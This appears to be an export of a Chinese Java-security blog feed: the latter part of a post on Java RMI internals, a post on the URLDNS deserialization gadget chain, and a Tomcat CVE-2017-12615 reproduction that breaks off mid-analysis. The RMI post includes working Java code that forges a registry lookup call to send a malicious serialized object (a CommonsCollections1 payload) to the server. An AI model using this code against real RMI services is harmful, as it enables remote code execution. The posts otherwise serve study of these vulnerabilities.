又会调用其他类型的构造器</p><p>进入到TCPEndpoint.getLocalEndpoint()当中</p><p><img src="/2026/03/27/RMI/image-20260330122102555.png" alt="image-20260330122102555"></p><p>这里又会进入另一个getLocalEndpoint()</p><p><img src="/2026/03/27/RMI/image-20260330122145992.png" alt="image-20260330122145992"></p><p>这里实际上底层获取服务器ip信息的方法</p><p>直接跳到方法的最后 看看具体参数</p><p><img src="/2026/03/27/RMI/image-20260330122524435.png" alt="image-20260330122524435"></p><p>看到最后会返回我们的出口ip与刚刚绑定到port </p><p>到现在开始LiveRef的实例化</p><p><img src="/2026/03/27/RMI/image-20260330122730125.png" alt="image-20260330122730125"></p><p>将刚刚获取到的一些信息都绑定在LiveRef上</p><p><img src="/2026/03/27/RMI/image-20260330123000894.png" alt="image-20260330123000894"></p><p>现在LiveRef初始化就结束了</p><p><img src="/2026/03/27/RMI/image-20260330123034874.png" alt="image-20260330123034874"></p><p>进入到setup中 会先实例化UnicastServerRef对象 并将刚刚的LiveRef传到其构造器当中</p><p><img src="/2026/03/27/RMI/image-20260330123133087.png" alt="image-20260330123133087"></p><p>传入父类构造器中</p><p><img src="/2026/03/27/RMI/image-20260330123155857.png" alt="image-20260330123155857"></p><p>只是简单赋值</p><p><img src="/2026/03/27/RMI/image-20260330123309413.png" alt="image-20260330123309413"></p><p>进入setup中 会调用UnicastServerRef.exportObject</p><p>this就是RegistryImpl对象</p><p><img src="/2026/03/27/RMI/image-20260330123419259.png" alt="image-20260330123419259"></p><p>此时开始构造代理对象</p><p><img src="/2026/03/27/RMI/image-20260330123522755.png" alt="image-20260330123522755"></p><p>先进入getClientRef</p><p><img src="/2026/03/27/RMI/image-20260330123609572.png" alt="image-20260330123609572"></p><p>又会调用UnicastRef的构造器</p><p>现在进入creatProxy</p><p><img src="/2026/03/27/RMI/image-20260330123713573.png" alt="image-20260330123713573"></p><p>进入到stubClassExists方法中</p><p><img src="/2026/03/27/RMI/image-20260330131013607.png" alt="image-20260330131013607"></p><p>检测内部是否有stub 返回false</p><p>然后回加载一个类 RegistryImpl_stub 返回true </p><p><img src="/2026/03/27/RMI/image-20260330131539655.png" alt="image-20260330131539655"></p><p>现在开始创建Stub </p><p>Stub是之后要传给客户端用的代理类</p><p><img src="/2026/03/27/RMI/image-20260330131825199.png" alt="image-20260330131825199"></p><p>这里又加载了一个类</p><p>var2 &#x3D; sun.rmi.registry.RegistryImpl_Stub 和刚刚加载的类一样</p><p>var3获得这个stub的class类</p><p><img src="/2026/03/27/RMI/image-20260330132322777.png" alt="image-20260330132322777"></p><p>最后返回这个RemoteStub对象</p><p><img src="/2026/03/27/RMI/image-20260330132437582.png" alt="image-20260330132437582"></p><p>var5得到stub对象后调用setSkeleton</p><p><img src="/2026/03/27/RMI/image-20260330132543915.png" alt="image-20260330132543915"></p><p>又会调用createSkeleton</p><p><img src="/2026/03/27/RMI/image-20260330132631652.png" alt="image-20260330132631652"></p><p>这个createSkeleton和刚刚createStub没什么区别</p><p><img src="/2026/03/27/RMI/image-20260330132745025.png" alt="image-20260330132745025"></p><p>最后在UnicastServerRef中 skel被赋值为刚刚创建的skeleton</p><p><img src="/2026/03/27/RMI/image-20260330132852166.png" alt="image-20260330132852166"></p><p>创建Target实例</p><p><img src="/2026/03/27/RMI/image-20260330133010027.png" alt="image-20260330133010027"></p><p>将之前创建的一些东西都存在这个Target对象中</p><p><img src="/2026/03/27/RMI/image-20260330133549727.png" alt="image-20260330133549727"></p><p>然后又调用exportobject</p><p><img src="/2026/03/27/RMI/image-20260330133657665.png" alt="image-20260330133657665"></p><p>又是经过多次的exportobject调用 现在开始监听指定端口了</p><p><img src="/2026/03/27/RMI/image-20260330133916993.png" alt="image-20260330133916993"></p><p>上面会查找ip与port</p><p>接着进入newServerSocket</p><p><img src="/2026/03/27/RMI/image-20260330134207427.png" alt="image-20260330134207427"></p><p><img src="/2026/03/27/RMI/image-20260330134403068.png" alt="image-20260330134403068"></p><p><img src="/2026/03/27/RMI/image-20260330134445293.png" alt="image-20260330134445293"></p><p><img src="/2026/03/27/RMI/image-20260330134539747.png" alt="image-20260330134539747"></p><p><img src="/2026/03/27/RMI/image-20260330134622885.png" alt="image-20260330134622885"></p><p>这里都是比较底层的调用 最终的结果就是在所有网络接口上监听1234端口</p><p><img src="/2026/03/27/RMI/image-20260330134938976.png" alt="image-20260330134938976"></p><p>如果没有指定端口 会调用默认端口号</p><p><img src="/2026/03/27/RMI/image-20260330135001569.png" alt="image-20260330135001569"></p><p><img src="/2026/03/27/RMI/image-20260330135104675.png" alt="image-20260330135104675"></p><p>最终结果就是这个ServerSocket</p><p>到这里 基本就结束了</p><p>过程中创建了RegisterImpl_Stub RegisterImpl_Skeleton</p><p>UnicastServerRef类与UnicastRef类 起到底层网络处理的作用</p><p>注册中心服务 默认绑定在所有网络接口上的指定端口</p><p>上面出现的一个奇怪的ip按理来说应该是我们的本地局域网ip 但是我本地有个虚拟网卡服务 它自动获取ip的时候弄错了 </p><p><strong>所以默认情况下是绑定在本地局域网中的</strong></p><p>当然也可以显式的修改</p><p><strong><code>System.setProperty(&quot;java.rmi.server.hostname&quot;,RMIHOST</code></strong></p><h3 id="远程对象创建"><a href="#远程对象创建" class="headerlink" title="远程对象创建"></a>远程对象创建</h3><p>跟进一下这个接口实现类的实例化 也就是远程对象实例化</p><p><img src="/2026/03/27/RMI/image-20260330211302104.png" alt="image-20260330211302104"></p><p>调用父类的构造器</p><p><img src="/2026/03/27/RMI/image-20260330211333734.png" alt="image-20260330211333734"></p><p>跳到这个构造器上</p><p><img src="/2026/03/27/RMI/image-20260330211424308.png" alt="image-20260330211424308"></p><p>跟进一下这个exportobject</p><p><img src="/2026/03/27/RMI/image-20260330211535137.png" alt="image-20260330211535137"></p><p>其实前面部分和注册中心没什么区别</p><p>关注这里</p><p><img src="/2026/03/27/RMI/image-20260330211609878.png" alt="image-20260330211609878"></p><p><img src="/2026/03/27/RMI/image-20260330211624725.png" alt="image-20260330211624725"></p><p>继续跟进creatProxy</p><p><img src="/2026/03/27/RMI/image-20260330211850223.png" alt="image-20260330211850223"></p><p>返回一个接口实例对象</p><p><img src="/2026/03/27/RMI/image-20260330212415510.png" alt="image-20260330212415510"></p><p>后面又会开启一个监听 因为在exportObject的时候 都是直接调用父类的的默认构造器 所以这里的port是一个随机的</p><p>这个服务就是远程对象服务</p><p><img src="/2026/03/27/RMI/image-20260330212642556.png" alt="image-20260330212642556"></p><p>最终放回接口实现对象</p><h3 id="简单看看Client查找注册中心与查找远程对象"><a href="#简单看看Client查找注册中心与查找远程对象" class="headerlink" title="简单看看Client查找注册中心与查找远程对象"></a>简单看看Client查找注册中心与查找远程对象</h3><p><img src="/2026/03/27/RMI/image-20260330220412957.png" alt="image-20260330220412957"></p><p>调用其他的getRegistry</p><p><img src="/2026/03/27/RMI/image-20260330220449169.png" alt="image-20260330220449169"></p><p><img src="/2026/03/27/RMI/image-20260330220535004.png" alt="image-20260330220535004"></p><p>又是回到了这个createProxy</p><p><img src="/2026/03/27/RMI/image-20260330220739401.png" alt="image-20260330220739401"></p><p>进入createStub</p><p><img src="/2026/03/27/RMI/image-20260330220816933.png" alt="image-20260330220816933"></p><p><img src="/2026/03/27/RMI/image-20260330221258782.png" alt="image-20260330221258782"></p><p>最后返回注册中心实现对象的stub存根</p><p><img src="/2026/03/27/RMI/image-20260330221115591.png" alt="image-20260330221115591"></p><p>我们拿着这个stub去找远程对象</p><p>来到下面的查找远程对象</p><p><img src="/2026/03/27/RMI/image-20260330221610247.png" alt="image-20260330221610247"></p><p>newCall一个远程请求 里面要放一下请求信息</p><p>然后在通过父类的ref.invoke去发送</p><p><img src="/2026/03/27/RMI/image-20260330222027842.png" alt="image-20260330222027842"></p><p>executecall</p><p><img src="/2026/03/27/RMI/image-20260330222057900.png" alt="image-20260330222057900"></p><p>这里releaseoutputStream会发送请求</p><p>最后又回到lookup中 并反序列化结果</p><p><img src="/2026/03/27/RMI/image-20260330222305917.png" alt="image-20260330222305917"></p><p><img src="/2026/03/27/RMI/image-20260330222610306.png" alt="image-20260330222610306"></p><p>done会返回一个DGC 垃圾处理</p><p>var23就是我们最后的对象</p><p><img src="/2026/03/27/RMI/image-20260330222640410.png" alt="image-20260330222640410">最后返回的是一个动态代理对象 通过这个代理对象去调用服务</p><hr><h3 id="如何利用lookup触发反序列化"><a href="#如何利用lookup触发反序列化" class="headerlink" title="如何利用lookup触发反序列化"></a>如何利用lookup触发反序列化</h3><p>来调试一下lookup方法</p><p><img src="/2026/03/27/RMI/image-20260329173338262.png" alt="image-20260329173338262"></p><p>不难发现 当调用注册表的lookup时候 实际调用了RegisterImpl_Stub中的lookup方法 </p><p>紧接着 他又会调用父类的ref中的<strong>newCall</strong>方法</p><p>newCall方法会创建一个RemoteCall</p><p>最终由父类的ref去invoke 传输上面序列化的数据 服务端收到数据会反序列化 </p><p><img src="/2026/03/27/RMI/image-20260402102438447.png" alt="image-20260402102438447"></p><p>那么如果 RemoteCall序列化的对象不是我们传入的<strong>字符串</strong> 而是一个恶意类 那么就可以达到触发反序列化漏洞的效果</p><p>但是lookup只能传入字符串 所以我们得伪造这个RemoteCall 然后去修改序列化的内容</p><p><img src="/2026/03/27/RMI/image-20260402102709519.png" alt="image-20260402102709519"></p><p>首先要伪造RemoteCall </p><p>this也就是Registry_Stub我们有 主要是<strong>获取super.ref与operations</strong></p><p>这2个也没什么难的 反射获取成员属性即可 然后setAccessible(true)就可以了</p><p>最后<strong>调用super.ref传输恶意类序列化数据</strong>就可以了</p><p>总的来说就是伪造一次请求 把我们的恶意类给传过去</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sun.rmi.server.UnicastRef;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutput;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.Operation;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.RemoteCall;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.RemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIClient</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.getRegistry(RMIServer.RMIHOST,RMIServer.RMIPORT);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="type">InvocationHandler</span> <span class="variable">payload</span> <span class="operator">=</span> (InvocationHandler) cc1.payload();</span><br><span class="line"></span><br><span class="line">            <span class="type">Remote</span> <span class="variable">r</span> <span class="operator">=</span> (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Remote.class&#125;,payload);</span><br><span class="line"></span><br><span class="line">            evilLookup(registry,r);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">evilLookup</span><span class="params">(Registry r, Object evilObject)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">ref</span> <span class="operator">=</span> r.getClass().getSuperclass().getSuperclass().getDeclaredField(<span class="string">&quot;ref&quot;</span>);</span><br><span class="line">        ref.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">UnicastRef</span> <span class="variable">Ref</span> <span class="operator">=</span> (UnicastRef)ref.get(r);</span><br><span class="line"></span><br><span class="line">        <span class="type">Field</span> <span class="variable">operations</span> <span class="operator">=</span> r.getClass().getDeclaredField(<span class="string">&quot;operations&quot;</span>);</span><br><span class="line">        operations.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        Operation[] Operations = (Operation[]) operations.get(r);</span><br><span class="line"></span><br><span class="line">        <span class="type">RemoteCall</span> <span class="variable">remoteCall</span> <span class="operator">=</span> Ref.newCall((RemoteObject) r, Operations, <span class="number">2</span>, <span class="number">4905912898345647071L</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">ObjectOutput</span> <span class="variable">objectOutput</span> <span class="operator">=</span> remoteCall.getOutputStream();</span><br><span class="line">        objectOutput.writeObject(evilObject);</span><br><span class="line">        Ref.invoke(remoteCall);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">● 0-&gt;bind</span><br><span class="line">● 1-&gt;list</span><br><span class="line">● 2-&gt;lookup</span><br><span class="line">● 3-&gt;rebind</span><br><span class="line">● 4-&gt;unbind</span><br></pre></td></tr></table></figure><p>我们看看服务端收到序列化数据是个什么情况</p><p>当收到数据的时候 是<strong>RegistryImpl_Skel.dispatch</strong>去处理</p><p>会进入一个switch-case语句 数字分别代表不同的方法</p><p>look up是2</p><p><img src="/2026/03/27/RMI/image-20260402103321100.png" alt="image-20260402103321100"></p><p>很明显 当收到lookup请求 直接就是readobject() </p><p>就直接触发反序列化了</p><p><img src="/2026/03/27/RMI/image-20260402103550719.png" alt="image-20260402103550719"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>客户端调用远程对象时将获取stub</p><p>调用具体方法的时候是stub将请求交UnicastRef UnicastRef又给RemoteRef 并调用RemoteCall 接着序列化 发送并交给Skeleton</p><p>Skeleton再将序列化数据 反序列化得到原始数据 通过具体的调用方法 执行相应的逻辑 并将结果 序列化发送</p><p>客户端接收并反序列化结果，获取远程对象的引用。  </p><p>客户端后续对远程方法的调用，会由服务端通过反射执行实际实现类的方法。  </p><p>服务端序列化方法执行结果返回，客户端反序列化并得到最终调用结果</p><p>服务端触发漏洞都源于RegistryImpl_Skeleton中readobject调用</p><p><img src="/2026/03/27/RMI/image-20260329221704072.png" alt="image-20260329221704072"></p><p>客户端的序列化则来自RegistryImpl_Stub中的readobject调用</p><p><img src="/2026/03/27/RMI/image-20260401163011923.png" alt="image-20260401163011923"></p><p>当动态加载类的时候 如果本地找不到这个类 会尝试去指定网站上下载</p><p>codebase &#x3D; “<a href="http://127.0.0.1/eval.class">http://127.0.0.1/eval.class</a>“</p><p><code>java.rmi.server.useCodebaseOnly</code> 这个系统属性是从 <strong>JDK 6u45、7u21 和 8u121</strong> 之后都默认设置为 true 只能加载本地.class</p><p><strong>RMI主要可利用的是注册中心的lookup &#x2F; Naming.lookup()</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;RMI&quot;&gt;&lt;a href=&quot;#RMI&quot; class=&quot;headerlink&quot; title=&quot;RMI&quot;&gt;&lt;/a&gt;RMI&lt;/h1&gt;&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="攻击面" scheme="http://example.com/tags/%E6%94%BB%E5%87%BB%E9%9D%A2/"/>
    
  </entry>
  
  <entry>
    <title>URLDNS链</title>
    <link href="http://example.com/2026/03/26/URLDNS%E9%93%BE/"/>
    <id>http://example.com/2026/03/26/URLDNS%E9%93%BE/</id>
    <published>2026-03-26T03:53:06.000Z</published>
    <updated>2026-05-12T07:38:52.409Z</updated>
    
    <content type="html"><![CDATA[<h1 id="URLDNS链"><a href="#URLDNS链" class="headerlink" title="URLDNS链"></a>URLDNS链</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在测试反序列化的时候 通常会使用无危害的方法尝试检测是否存在反序列化漏洞</p><p>URLDNS链就是这样的一个链子 当它触发的时候 只能使得服务器自动解析我们自己输入的域名</p><p>我们可以查看域名是否被解析过 来判断是否存在反序列化漏洞</p><h2 id="URLDNS链构造"><a href="#URLDNS链构造" class="headerlink" title="URLDNS链构造"></a>URLDNS链构造</h2><p>我们可以先研究一下ysoserial中的URLDNS的调用链</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326123555721.png" alt="image-20260326123555721"></p><p>实际的调用链相当简单 没有很长</p><p>通过触发hashmap中的<strong>readobject()</strong> 来触发反序列化</p><p>最后会触发<strong>URL.hashCode()方法</strong> 我们先来看一下这个方法</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326123807234.png" alt="image-20260326123807234"></p><p>这个方法会判断<strong>hashCode的值</strong> 如果不为-1的话会直接返回hashCode的值</p><hr><p>创建URL实例 会自动的将对象中的hashCode的值赋为-1</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326151332443.png" alt="image-20260326151332443"></p><hr><p>如果为hashCode为-1的话 会<strong>进入handler.hashCode()方法</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326124011596.png" alt="image-20260326124011596"></p><p>handler.hashCode()方法中会调用<strong>getHostAddress()</strong> 方法 里面的参数u是传入的URL对象</p><p>getHostAddress()方法会尝试解析域名 因此会查询dns 当成功执行的时候 我们就能看到这个解析记录了</p><p>调用的时候 要求最后在<strong>反序列化的时候URL对象的hashCode的值要为-1</strong></p><p>调用链目前是这样的情况</p><hr><p>我们回到源码来看一下</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326124416019.png" alt="image-20260326124416019"></p><p>最重要的是这个getObject()方法 它会返回最终我们需要的对象</p><p>我们一步一步来看</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">URLStreamHandler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SilentURLStreamHandler</span>();</span><br></pre></td></tr></table></figure><p>这里实例化了一个<strong>SilentURLStreamHandler对象</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326124547774.png" alt="image-20260326124547774"></p><p>这个类继承自<strong>URLStreamHandler</strong></p><p>根据刚刚看的调用链的情况 后面会触发<strong>handler.hashCode()</strong> 这里的handler就是<strong>SilentURLStreamHandler对象</strong></p><p>至于为什么要重写<strong>getHostAddress()</strong> 后面会知道</p><hr><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">HashMap</span> <span class="variable">ht</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>(); </span><br><span class="line"><span class="type">URL</span> <span class="variable">u</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="literal">null</span>, url, handler); </span><br><span class="line">ht.put(u, url);</span><br></pre></td></tr></table></figure><p>这个部分就是实例化了hashmap 和 URL对象</p><p>URL对象中传入了我们的url和handler</p><p>url是我们自己输入的域名</p><p>我们跟进一下hashmap的put方法</p><p>put方法最后的结果就是将传入的key和value给放到hashmap中</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326125132012.png" alt="image-20260326125132012"></p><p>这个put方法又会调用hash()方法</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326125247223.png" alt="image-20260326125247223"></p><p>判断key是否为null之后 又调用了key中的hashCode方法 也就是URL中的hashcode</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326125627832.png" alt="image-20260326125627832"></p><p>这个方法首先检查对象中的hashCode是否为-1</p><p>如果为-1就会调用<strong>handler.hashCode()方法</strong></p><p>这里的<strong>handler.hashCode()方法</strong>也就是<strong>SilentURLStreamHandler.hashCode()方法</strong></p><p>SilentURLStreamHandler是URLStream的子类</p><p>我们刚刚就看了<strong>handler.hashCode()<strong>方法 最后调用</strong>SilentURLStreamHandler.getHostAddress(u)</strong> 进行域名解析</p><p>但是我们要让他在<strong>反序列化的时候才去域名解析</strong> 所以ysoserial中<strong>才会重写getHostAddress方法 使得这次的调用不会去解析域名</strong></p><hr><p><strong>虽然重写getHostAddress方法可以绕过这次的解析 但是反序列化的时候不是也不会调用吗?</strong></p><p>我们可以看一下URL类中的handler这个成员属性的修饰符是transient</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326144417583.png" alt="image-20260326144417583"></p><p>如果一个成员被修饰为transient</p><p>那么他在序列化的时候就不会将他序列化 </p><p>在反序列化的时候 通常<strong>继承serialized的类</strong>都会<strong>重写readObject方法</strong></p><p>虽然<strong>确实不会被反序列化还原出来</strong> 使得成员值为null 但是在<strong>URL中的readobject中</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326162554794.png" alt="image-20260326162554794"></p><p>会执行<strong>getURLStreamHandler()方法</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326162723088.png" alt="image-20260326162723088"></p><p>会自动创建一个<strong>URLStreamHandler对象</strong> </p><p><strong>所以实际上最终handler还是有实例化对象的</strong></p><p>这就可以使得最后反序列化的时候调用的<strong>getHostAddress</strong>是URLStreamHandler的方法 也就可以成功解析dns了</p><hr><p>最后一部分就是设置URL对象中的hashCode的值为-1 <strong>确保之后反序列化的时候可以成功执行getHostAddress方法</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326142051237.png" alt="image-20260326142051237"></p><hr><p><strong>为什么这里要显示的修改hashCode的值呢?</strong></p><p>通过调试代码可以知道</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326143155477.png" alt="image-20260326143155477"></p><p>当调用hashmap的put方法之后 URL对象的hashcode的值变成了一个很奇怪的值</p><p>不难发现</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326143557846.png" alt="image-20260326143557846"></p><p>在调用URL.hashCode()方法的时候 hashcode的值发生改变了</p><p>因此最后的部分一定要显式的修改hashcode的值</p><p>至此URLDNS链就成功构造了</p><hr><h2 id="URLDNS触发"><a href="#URLDNS触发" class="headerlink" title="URLDNS触发"></a>URLDNS触发</h2><p>我们现在来看一下具体是怎样触发的</p><p>当调用input的readobject方法时 会自动的调用<strong>hashmap的readobject方法</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326163839771.png" alt="image-20260326163839771"></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326163943781.png" alt="image-20260326163943781"></p><p>hashmap的readobject又会自动<strong>反序列URL对象</strong></p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326164049063.png"></p><p>反序列化URL对象之后就会调用putVal() -&gt; hash()</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326164202089.png" alt="image-20260326164202089"></p><p>之后又会调用URL的hashCode()</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326164258285.png" alt="image-20260326164258285"></p><p>最后调用handler的hashcode</p><p><img src="/2026/03/26/URLDNS%E9%93%BE/image-20260326164332280.png" alt="image-20260326164332280"></p><p>最后判断hashcode的值为-1 调用到gethostaddress就成功执行dns解析了</p><p>至此URLDNS就触发完毕了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;URLDNS链&quot;&gt;&lt;a href=&quot;#URLDNS链&quot; class=&quot;headerlink&quot; title=&quot;URLDNS链&quot;&gt;&lt;/a&gt;URLDNS链&lt;/h1&gt;&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
    <category term="URLDNS链" scheme="http://example.com/tags/URLDNS%E9%93%BE/"/>
    
  </entry>
  
  <entry>
    <title>tomcat历史漏洞复现</title>
    <link href="http://example.com/2026/03/20/tomcat%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    <id>http://example.com/2026/03/20/tomcat%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/</id>
    <published>2026-03-20T09:33:37.000Z</published>
    <updated>2026-05-12T07:38:47.485Z</updated>
    
    <content type="html"><![CDATA[<h2 id="历史漏洞复现"><a href="#历史漏洞复现" class="headerlink" title="历史漏洞复现"></a>历史漏洞复现</h2><h2 id="CVE-2017-12615-PUT-方法任意文件上传"><a href="#CVE-2017-12615-PUT-方法任意文件上传" class="headerlink" title="CVE-2017-12615 (PUT 方法任意文件上传)"></a>CVE-2017-12615 (PUT 方法任意文件上传)</h2><p>在tomcat的conf&#x2F;web.xml里面有一个参数readonly 根据注释可以知道这个参数就是开启是否接受delete和put请求</p><p>false就等于允许</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414102706027.png" alt="image-20260414102706027"></p><p>我们在DefaultServlet中添加这个参数</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414102837580.png" alt="image-20260414102837580"></p><h3 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h3><p>本地启动tomcat 使用jpda这个javaagent 使得idea可以远程调试tomcat</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">catalina.bat jpda start</span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414102611163.png" alt="image-20260414102611163"></p><p>在idea中打断点</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414102933243.png" alt="image-20260414102933243"></p><p>bp发包</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103055126.png" alt="image-20260414103055126"></p><p>可以看到idea停在断点上了</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103117536.png" alt="image-20260414103117536"></p><p>一开始就判断readonly的值 因为为false所以跳过</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103249374.png" alt="image-20260414103249374"></p><p>后续就是获取路径path 然后判断是否存在文件</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103402352.png" alt="image-20260414103402352"></p><p>获取请求输入流 在通过请求输入流获取到请求体</p><p>后面会进入到resources.bind(path, newResource)</p><p>这里就是sink点</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103558887.png" alt="image-20260414103558887"></p><p>跟进dirContext.bind()</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103636797.png" alt="image-20260414103636797"></p><p>继续跟进</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414103706228.png" alt="image-20260414103706228"></p><p>来到FileDirContext的bind方法中</p><p>创建一个File对象 然后判断是否存在 </p><p>继续跟进下面的rebind()</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414104041544.png" alt="image-20260414104041544"></p><p>前面是一些判断语句</p><p>也是创建一个file对象 判断obj对象类型</p><p>因为obj对象是resource类 所以is获取obj的请求体数据</p><p> 重点在后面</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260414104104751.png" alt="image-20260414104104751"></p><p>创建一个FileOutputStream os 然后将file对象传入FileOutputStream 中</p><p>用上面的输入流is读取数据 </p><p>最后os在写入file对象中 此时文件就成功写入了</p><p><img 